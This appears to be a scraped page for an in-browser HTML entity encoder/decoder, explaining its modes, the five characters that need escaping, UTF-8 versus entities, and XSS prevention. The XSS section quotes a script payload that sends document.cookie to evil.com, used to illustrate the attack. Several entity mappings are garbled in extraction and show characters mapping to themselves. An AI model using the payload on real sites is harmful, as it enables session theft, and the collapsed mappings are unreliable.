What is the difference between Essential and Extended encode modes?

Essential mode encodes only the five characters that must be escaped in HTML: & (→ &), (→ >), " (→ "), and ' (→ '). Extended mode additionally encodes all characters that have a named HTML entity — such as © (©), € (€), Greek letters, math symbols, and accented Latin characters.

What entity formats can the Decoder handle?

The decoder handles all three entity formats: named references (& © —), decimal numeric references (© —), and hexadecimal numeric references (© —).

Does my text get sent to a server?

No. All encoding and decoding runs entirely in your browser using JavaScript string processing. Your text is never transmitted to any server.

Why do I need to encode HTML entities?

Characters like , and & have special meaning in HTML. If they appear unescaped in page content or attributes, the browser may misinterpret them as markup, causing layout breaks or security vulnerabilities such as cross-site scripting (XSS). Encoding them as entities ensures they display correctly as literal characters.

HTML Entity

Encode special characters to HTML entities and decode them back. Supports essential escaping, extended named entities, and numeric references — all in your browser.

Plain Text

Mode:

Encoded HTML

<h1>Hello & “World”</h1>

Why use our online HTML Entity?

Escape or unescape HTML special characters (& < > ' ") instantly in your browser. Essential for preventing XSS, embedding HTML in JSON, or preparing content for email templates.

How to use HTML Entity

1
Choose Encode or Decode
Select the Encode tab to convert plain text to HTML entities, or the Decode tab to convert entity-encoded HTML back to readable text.
2
Paste or type your input
Enter your text in the input panel. The output updates instantly as you type.
3
Select an encode mode (Encode tab only)
Choose Essential to encode only the five critical characters (& < > " '), or Extended to encode all named HTML entities and any remaining non-ASCII characters as numeric references.
4
Copy or swap the result
Click Copy to copy the output to your clipboard. Use the Swap button to send the encoded output straight into the Decode tab for round-trip verification.

The five characters you must always escape in HTML

Five characters have special meaning in HTML and must be encoded as entities when they appear as literal text content or in attribute values.

& (ampersand) must always be encoded as &. An unescaped ampersand can be interpreted as the start of an entity reference, potentially corrupting nearby text or triggering parse errors.

< (less-than) must be encoded as <. An unescaped < is interpreted as the start of an HTML tag, which can break the page layout or, in the worst case, inject script tags — a Cross-Site Scripting (XSS) vulnerability.

> (greater-than) should be encoded as >. While browsers are more tolerant of unescaped > in text content, it is required in some contexts (notably XHTML) and is a good practice universally.

" (double quote) must be encoded as " when appearing inside a double-quoted HTML attribute: <div class="my"class"> would break the attribute. Inside a single-quoted attribute, it is safe unescaped.

' (apostrophe/single quote) should be encoded as ' or ' when appearing inside a single-quoted attribute. Inside a double-quoted attribute, it is safe. In HTML5 content, it is safe unescaped, but encoding it prevents issues in XML/XHTML.

HTML entities vs Unicode — which to use

Modern HTML pages served with UTF-8 encoding (the universal standard) can include any Unicode character directly in the source — no entity encoding required for accented letters, symbols, or emoji. Characters like é, ©, €, and 😀 can appear literally in UTF-8 HTML and will render correctly in all modern browsers.

Named HTML entities like ©, ®, €, and — exist from an era when web pages were not reliably served in a consistent encoding. In the early web, a document might be ASCII, ISO-8859-1, or Windows-1252 depending on the server configuration. Entities provided a way to include characters outside the basic ASCII range reliably, because entities are plain ASCII themselves.

Today, the pragmatic guidance is: always use UTF-8 (declare it with <meta charset="UTF-8"> in the <head>), include the characters you need literally in the source, and only use entities for the five special HTML characters (&, <, >, ", '). Using © instead of © is harmless but unnecessary. Using named entities for every special character makes HTML source harder to read and write.

HTML entity encoding and XSS prevention

Cross-Site Scripting (XSS) is one of the most common and damaging web vulnerabilities. An XSS attack occurs when an attacker injects malicious script code into a page that is then executed in other users' browsers. The most common vector: user-supplied text (names, comments, search queries) is inserted into HTML without encoding.

If a search page displays: <p>Results for: [unescaped user input]</p>, an attacker can search for <script>document.location='https://evil.com?cookie='+document.cookie</script> and steal session cookies from anyone who sees the resulting page. HTML entity encoding the user input — converting < to < and > to > — renders the script as harmless literal text.

The correct defense is output encoding: apply HTML entity encoding at the moment you insert data into an HTML context. Different contexts require different encoding: HTML entity encoding for HTML content, JavaScript string encoding for inline JavaScript, URL percent-encoding for URL parameters. Modern templating engines (React JSX, Jinja2, Handlebars) apply HTML encoding automatically by default — the risk comes from explicitly bypassing the auto-escaping with raw/unsafe/dangerouslySetInnerHTML patterns.

Frequently Asked Questions

What is the difference between Essential and Extended encode modes?: Essential mode encodes only the five characters that must be escaped in HTML: & (→ &), < (→ <), > (→ >), " (→ "), and ' (→ '). Extended mode additionally encodes all characters that have a named HTML entity — such as © (©), € (€), Greek letters, math symbols, and accented Latin characters.
What entity formats can the Decoder handle?: The decoder handles all three entity formats: named references (& © —), decimal numeric references (© —), and hexadecimal numeric references (© —).
Does my text get sent to a server?: No. All encoding and decoding runs entirely in your browser using JavaScript string processing. Your text is never transmitted to any server.
Why do I need to encode HTML entities?: Characters like <, >, and & have special meaning in HTML. If they appear unescaped in page content or attributes, the browser may misinterpret them as markup, causing layout breaks or security vulnerabilities such as cross-site scripting (XSS). Encoding them as entities ensures they display correctly as literal characters.